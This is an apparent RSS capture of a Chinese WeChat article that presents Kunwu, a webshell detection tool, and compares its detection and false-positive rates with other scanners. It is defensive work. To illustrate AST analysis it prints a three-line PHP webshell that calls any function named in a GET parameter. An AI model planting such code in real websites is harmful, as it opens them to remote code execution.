      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485647&amp;idx=1&amp;sn=e53fef2d50cc7d8a86138e3eb4d36a79</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-05-20 20:30</span> <span style="display: inline-block;">浙江</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=2e5f0303&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FnoZJ3Kqbu1dHVq7ibxC5osZUwMUsNk377cEyLlU16DdecsNggUBaPUeWW2NBic8oQyRel9KJXh3lAu3S4gXQosNw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="margin: 80px 10px 40px;letter-spacing: normal;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">1.目前webshell检测的难点</h2><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">在目前的技术条件下，精准Webshell检测还是一项非常复杂事情，主要的难度在于:</p><p style="margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="margin-right: 10px;">1.</span></span></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">多语言：Webshell的种类非常多样化，根据web环境的不同，webshell的语言包括PHP、ASP、ASP.NET、JSP等等。</p><p><span style="margin: 10px;font-size: 16px;letter-spacing: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="margin-right: 10px;">2.</span></span></p><p style="margin: 10px;line-height: 1.6;">版本语法差异: 不同类型的语言在不同的版本下，具有不同的语法和语言特性，比如php5和php7、jdk8和jdk18的很多语法差别就很大。这样对webshell的引擎检测的语法解析兼容性就提出了很高的要求，同时需要对语言特性有较高的了解。</p><span style="margin: 10px;font-size: 16px;letter-spacing: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;text-indent: -20px;display: block;"><span style="margin-right: 10px;">3.</span><p style="margin: 10px;line-height: 1.6;">加密和混淆：攻击者可以使用各种加密和混淆技术来隐藏Webshell的代码，包括字符串加密、代码混淆、反射、压缩等等。这些技术使得Webshell的代码难以被检测出来，需要使用专门的技术进行解密和分析。</p></span><p style="margin-bottom: 0px;color: rgb(0, 0, 0);font-family: &#34;PingFang SC&#34;, &#34;system-ui&#34;, Roboto, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: normal;text-align: start;white-space: normal;"><br/></p><h2 style="margin: 80px 10px 40px;letter-spacing: normal;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">2.Kunwu</h2><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">昆吾进行了深度优化，内置了模糊规则、污点分析模拟执行、机器学习三种高效的检测策略。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">github地址：<a href="https://github.com/kunwu2023/kunwu" target="_blank">https://github.com/kunwu2023/kunwu</a></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="color: rgb(255, 53, 2);line-height: 1.5;">检测流程</strong></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">首先，模糊规则对待检测文件进行快速初步筛查，迅速判断文件是否为恶意文件。如果确定为恶意文件，则直接将其标记为恶意。反之，模糊规则会评估是否需要对文件进行深度检测。如果需要，文件将交由机器学习和污点分析模拟执行进行深度检测，确保检测速度的同时提高准确性。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="color: rgb(255, 53, 2);line-height: 1.5;">策略优势</strong></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="color: rgb(255, 53, 2);line-height: 1.5;">1. 模糊规则</strong></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">经过大量样本的积累和实验，模糊规则能够快速判断文件的可疑程度。根据可疑程度判断是否需要深度检测，既保证了检出率，又最大限度地节省了系统资源。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="color: rgb(255, 53, 2);line-height: 1.5;">2. 污点分析模拟执行</strong></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">以PHP为例，首先让我们了解一下PHP的解析过程：<img class="rich_pages wxw-img" data-ratio="0.17123287671232876" title="null" data-type="png" data-w="1752" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e5c203f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1dHVq7ibxC5osZUwMUsNk377z81Xs73Th6faIiah56raLibCZup8PqPG5N4veVgOoxfCou6icMhVkfmtQ%2F640%3Fwx_fmt%3Dpng"/>PHP编译过程包括词法分析、语法分析，在语法分析阶段生成AST(抽象语法树)。从AST中，我们可以洞察到PHP代码的结构特点。</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">&lt;?php </span></code><code><span class="code-snippet_outer">$func = new ReflectionFunction($_GET[&#39;m&#39;]); </span></code><code><span class="code-snippet_outer">echo $func-&gt;invokeArgs(array($_GET[&#39;c&#39;]));</span></code></pre></section><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="1.703187250996016" title="null" data-type="png" data-w="1004" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=ff665a40&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1dHVq7ibxC5osZUwMUsNk377ulWOnqgfValic63ibK7ib4QIuMuiau49RyAZ6xR9ABp1XUI3f6gGv42q3w%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">污点分析模拟执行通过遍历AST中的节点属性，对每个节点进行模拟执行。这种方法在Webshell检测中实现了高检出率和低误报率。</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><strong style="color: rgb(255, 53, 2);line-height: 1.5;">3. 机器学习</strong></p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">机器学习策略从多个角度对文件进行特征提取，可以在面对新出现的未知样本时保持较高的准确率。通过与其他检测策略相结合，机器学习策略能够在Webshell检测中实现高检出率和低误报率</p><h2 style="margin: 80px 10px 40px;letter-spacing: normal;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">3.检出率对比</h2><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">样本仓库 <a href="https://github.com/BlackArch/webshells" target="_blank">https://github.com/BlackArch/webshells</a></p><h3 style="margin: 40px 10px 20px;font-weight: bold;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">某盾: 检测199</h3><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.5276381909547738" title="null" data-type="png" data-w="796" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c70637de&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1dHVq7ibxC5osZUwMUsNk377dNNPdF92H5Ioia09rnbl8gfF92LQ8NtnL4w9ibzkkHAenvXCxV6K7mEg%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin: 40px 10px 20px;font-weight: bold;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">某马:检测196</h3><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.2712895377128954" title="null" data-type="png" data-w="822" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c322c05a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1dHVq7ibxC5osZUwMUsNk377icZz8ibV0wqSuTaZABCnnibcNzNSYyASBGv7x7doyg6IffZRYKMsm3yaw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin: 40px 10px 20px;font-weight: bold;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">某狗:检测211</h3><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.6478578892371996" title="null" data-type="png" data-w="957" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=11c05a5d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1dHVq7ibxC5osZUwMUsNk377mPD1uDCM4wnq9roRa9ic0ReNzskjtx2ibJ5NK6r7aQS4ZbsMiczuODycA%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin: 40px 10px 20px;font-weight: bold;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">Kunwu:207</h3><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.5655095184770437" title="null" data-type="png" data-w="1786" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5700f0f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1dHVq7ibxC5osZUwMUsNk377CbNKN69ibWU5VlV7BN6ux00GMuoXQ24FmzZAp0uFYPXVaFnj7WYjfPQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="margin: 80px 10px 40px;letter-spacing: normal;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">4.误报率对比</h2><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">样本来自于网络搜集的一些常用CMS，内容如下</p><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.17861339600470036" title="null" data-type="png" data-w="851" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1342aa10&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1dHVq7ibxC5osZUwMUsNk377sicCxeSjn9oHl8tgY86zA7IK6kKTI7QR2yFyhrNP3MIHEvWGkbyO9fA%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin: 40px 10px 20px;font-weight: bold;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">D盾：3</h3><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.20733173076923078" title="null" data-type="png" data-w="1664" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=5440f307&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1dHVq7ibxC5osZUwMUsNk377g68mVVFBYvMvsvBIeWBnNTSCoqV9xLGrbYZvrA1oSol0pzX6ZoApvA%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin: 40px 10px 20px;font-weight: bold;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">河马:8</h3><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.5520325203252032" title="null" data-type="png" data-w="1230" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a4b4d2b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1dHVq7ibxC5osZUwMUsNk377VWvW4OVniaWXMEnF0m0ExjlBMFzIVnWMS4m5EoIb1OwENBqG7erj0gw%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin: 40px 10px 20px;font-weight: bold;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">安全狗:0</h3><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.411901983663944" title="null" data-type="png" data-w="857" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=2b38e29e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1dHVq7ibxC5osZUwMUsNk377I6Ixpcodt55iaNxthicPkIInJCv5hy0RI0Jjiaq7zMc4iaQ7xCh1UhmImg%2F640%3Fwx_fmt%3Dpng"/></p><h3 style="margin: 40px 10px 20px;font-weight: bold;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">Kunwu:0</h3><p style="margin: 10px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img class="rich_pages wxw-img" data-ratio="0.46238651102464334" title="null" data-type="png" data-w="1542" style="margin: 20px auto;line-height: 1.5;border-radius: 4px;display: block;width: 315px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8370f884&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FnoZJ3Kqbu1dHVq7ibxC5osZUwMUsNk377Z059DEeomd8ibelnu5ticBgIuiaIwZuERiaFgZTBiaZnj08t3uIOPqxm9NQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="margin: 80px 10px 40px;letter-spacing: normal;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">5.结果对比</h2><table><thead style="line-height: 1.5;background: rgba(0, 0, 0, 0.05);"><tr><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">/</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">检出率</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">误报率</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">Mac支持</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">Linux支持</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">windows支持</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">Cli支持</td></tr></thead><tbody><tr><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">某盾</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">87%</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">0.0009%</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">❌</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">❌</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">✅</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">❌</td></tr><tr><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">某马</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">85%</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">0.002%</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">❌</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">✅</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">✅</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">✅</td></tr><tr><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">某狗</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">92%</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">0%</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">❌</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">❌</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">✅</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">❌</td></tr><tr><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">Kunwu</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">90%</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">0%</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">✅</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">✅</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">✅</td><td style="padding: 4px 8px;line-height: 1.5;font-size: 12.8px;border-color: rgb(223, 223, 223);">✅</td></tr></tbody></table><h2 style="margin: 80px 10px 40px;letter-spacing: normal;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;">6.迭代路线图</h2><p style="margin-top: 20px;margin-right: 10px;margin-bottom: 20px;padding-left: 20px;font-size: 16px;letter-spacing: normal;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span style="margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="margin-right: 10px;">1.</span>增强加密webshell的检出效果，提高检出率</span><span style="margin: 10px;line-height: 1.5;text-indent: -20px;display: block;"><span style="margin-right: 10px;">2.</span>进一步优化检测速度，更快的为大家提供服务</span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485647">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3d5fda5b&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU5MTExMjYwMA%3D%3D%26mid%3D2247485647%26idx%3D1%26sn%3De53fef2d50cc7d8a86138e3eb4d36a79%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 20 May 2023 20:30:00 +0800</pubDate>
    </item>
    <item>
      <title>[推荐]急！！！2023-国hvv招聘</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU5MTExMjYwMA==&amp;mid=2247485632&amp;idx=1&amp;sn=c4ac701799f61b3bffc5be0fdf0307e5</link>
      <description>[推荐]急！！！2023-国hvv招聘</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-05-11 22:00</span> <span style="display: inline-block;">浙江</span>
</p>

<p>[推荐]急！！！2023-国hvv招聘</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=85ae7b09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FnoZJ3Kqbu1frIuXibnFMsxhMTLpMicvrguoEJ5Qcbib0vPZaibdmAU0GznOnxP3gxf8aNdpjnYdCfia77X4fk3ibNeCw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


